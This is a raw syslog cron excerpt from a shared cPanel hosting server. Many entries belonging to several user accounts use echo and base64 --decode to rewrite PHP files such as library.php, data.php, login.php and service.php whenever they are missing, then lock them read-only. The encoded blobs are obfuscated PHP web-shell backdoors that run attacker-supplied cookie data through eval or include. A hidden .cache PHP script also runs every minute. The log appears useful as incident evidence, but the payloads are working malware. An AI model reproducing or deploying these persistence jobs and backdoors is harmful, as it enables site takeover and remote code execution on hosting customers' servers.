XI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:53:02 medusa CROND[17233]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:53:02 medusa CROND[17234]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:53:02 medusa CROND[17241]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:53:02 medusa CROND[17245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:53:02 medusa CROND[17246]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:53:02 medusa CROND[17247]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:53:02 medusa CROND[17248]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:53:02 medusa CROND[17252]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:54:01 medusa CROND[1983]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:54:01 medusa CROND[2174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:54:01 medusa CROND[2223]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:54:01 medusa CROND[2224]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:54:01 medusa CROND[2225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:54:01 medusa CROND[2226]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:54:01 medusa CROND[2227]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:54:01 medusa CROND[2230]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:54:01 medusa CROND[2232]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:54:01 medusa CROND[2233]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:54:01 medusa CROND[2234]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:54:01 medusa CROND[2253]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:54:01 medusa CROND[2254]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:55:02 medusa CROND[20842]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:55:02 medusa CROND[21146]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:55:02 medusa CROND[21147]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:55:02 medusa CROND[21148]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:55:02 medusa CROND[21149]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:55:02 medusa CROND[21150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:55:02 medusa CROND[21151]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
